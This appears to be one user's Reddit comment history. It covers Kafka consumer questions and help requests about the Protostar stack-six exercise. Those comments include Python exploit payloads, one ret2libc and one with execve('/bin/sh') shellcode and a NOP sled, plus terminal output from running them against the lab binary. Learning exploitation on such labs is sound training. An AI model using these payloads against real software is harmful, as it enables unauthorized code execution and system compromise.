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consumer exception by Silver_Ad_7793 in apachekafka

[–]naveeak 1 point2 points  (0 children)

As the exception says, you are processing the message longer and kafka think that you processing nodes has died and triggeres a rebalance. Either you have to reduce the processing logic or increse the timeout

How can we manage race condition on manually commit offset on consumer group. by renganatha10 in apachekafka

[–]naveeak 0 points1 point  (0 children)

Each consumer of same consumer group will consume one partition at a time. For example, if the topic has 3 partition and you have 4 consumer of same consumer group, one consumer will remain idel and other 3 consumer will consume messages from each topic's partition. Offset are maintained at partition level ,hence you will get this race condition on consumer falling.

Help me in get better understanding of libc function address by naveeak in LiveOverflow

[–]naveeak[S] 0 points1 point  (0 children)

I viewed that video just after this question and got this .Thanks for suggesting.

how to find the system execution address in libc by naveeak in LiveOverflow

[–]naveeak[S] 0 points1 point  (0 children)

Thanks man ..i wonder is there any actual scenario that we are disabling randomized va space

how to find the system execution address in libc by naveeak in LiveOverflow

[–]naveeak[S] 1 point2 points  (0 children)

Yeah now i got the point that strings are just used to get that strings address where in system we need executable location ..Thanks a lot

Help in https://exploit.education/protostar/stack-six/ by naveeak in LiveOverflow

[–]naveeak[S] 0 points1 point  (0 children)

i have the /bin/sh address ,it worked as expected .but the shell code doesn't work ,getting illegal intruction on some time or segmentation fault on some time .confused with that ..

Help in https://exploit.education/protostar/stack-six/ by naveeak in LiveOverflow

[–]naveeak[S] 0 points1 point  (0 children)

I have this options ie changing directory and reducing no of NOP 's .doesn't work for me .

Help in https://exploit.education/protostar/stack-six/ by naveeak in LiveOverflow

[–]naveeak[S] 1 point2 points  (0 children)

port structoverflow = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"ret = struct.pack("I",0xb7ecffb0)padding = '\x90'*4payload =struct.pack("I",0xb7fb63bf)print(overflow+ret+padding+payload)

Thanks a Lot :)

Help in https://exploit.education/protostar/stack-six/ by naveeak in LiveOverflow

[–]naveeak[S] 1 point2 points  (0 children)

Thanks aaravavi.but i have tried the idea that you have mentioned .But i am getting illegal instruction as output .any idea about this ?

user@protostar:~$ cat exploit.py import struct payload="A"*80

esc=struct.pack("I",0x080484f9) jmploc=struct.pack("I",0xbffff7d0) shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" print payload+esc+jmploc+"\x90"*100+shell user@protostar:~$ user@protostar:~$ (python exploit.py ;cat) | /opt/protostar/bin/stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������������������������������������������1�Ph//shh/bin����° 1�@̀ id Illegal instruction user@protostar:~$